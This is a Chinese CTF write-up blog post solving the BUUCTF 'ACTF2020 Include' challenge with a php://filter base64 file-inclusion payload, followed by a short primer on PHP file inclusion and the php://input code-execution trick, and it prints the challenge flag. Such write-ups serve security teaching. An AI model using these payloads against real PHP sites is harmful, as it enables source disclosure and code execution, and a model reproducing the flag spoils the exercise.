Buuctf Web [ACTF2020 新生赛]Include 1 菜鸟刷题之旅(文件包含)

然后就啥也没了,但是url中有 ?file=flag.php 猜测文件包含漏洞,尝试
文件包含直接读取的是文件,而不是文件源码,所以要想办法读取源码
php://filter/read=convert.base64-encode/resource=xxx.php
这个方法可以读取代码
然后构造playload:
?file=php://filter/read=convert.base64-encode/resource=flag.php


然后对得到的字符串PD9waHAKZWNobyAiQ2FuIHlvdSBmaW5kIG91dCB0aGUgZmxhZz8iOwovL2ZsYWd7NjNlMmIyYzAtNWY5Mi00NjJlLWFkYmYtZTA1ODhhMzQ0MjhjfQo=
进行base64解密得到flag:

<?php
echo "Can you find out the flag?";
//flag{63e2b2c0-5f92-462e-adbf-e0588a34428c}

(参考大佬博客:https://blog.csdn.net/qq_41523170/article/details/107617936)

CTF中文件包含漏洞总结

0x01 什么是文件包含漏洞

通过PHP函数引入文件时,传入的文件名没有经过合理的验证,从而操作了预想之外的文件,就可能导致意外的文件泄漏甚至恶意代码注入。

0x02 文件包含漏洞的环境要求

allow_url_fopen=On(默认为On) 规定是否允许从远程服务器或者网站检索数据
allow_url_include=On(php5.2之后默认为Off) 规定是否允许include/require远程文件

0x03 常见文件包含函数

php中常见的文件包含函数有以下四种:
include()
require()
include_once()
require_once()

include与require基本是相同的,除了错误处理方面:

include(),只生成警告(E_WARNING),并且脚本会继续
require(),会生成致命错误(E_COMPILE_ERROR)并停止脚本
include_once()与require_once(),如果文件已包含,则不会包含,其他特性如上

0x04 PHP伪协议

PHP 提供了一些杂项输入/输出(IO)流,允许访问 PHP 的输入输出流、标准输入输出和错误描述符, 内存中、磁盘备份的临时文件流以及可以操作其他读取写入文件资源的过滤器。

一、php://input

php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。从而导致任意代码执行。

(参考大佬博客:https://blog.csdn.net/qq_42181428/article/details/87090539?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522164665854916780255293269%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=164665854916780255293269&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2allsobaiduend~default-1-87090539.pc_search_result_control_group&utm_term=ctf%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E&spm=1018.2226.3001.4187)

深入了解其他web 文件包含漏洞见:
《CTF——Web——文件包含漏洞》
https://blog.csdn.net/vhkjhwbs/article/details/99728785?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522164665854916780255293269%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=164665854916780255293269&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2allsobaiduend~default-2-99728785.pc_search_result_control_group&utm_term=ctf%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E&spm=1018.2226.3001.4187)

posted @ 2022-03-07 21:15  B1smarck  阅读(186)  评论(0编辑  收藏  举报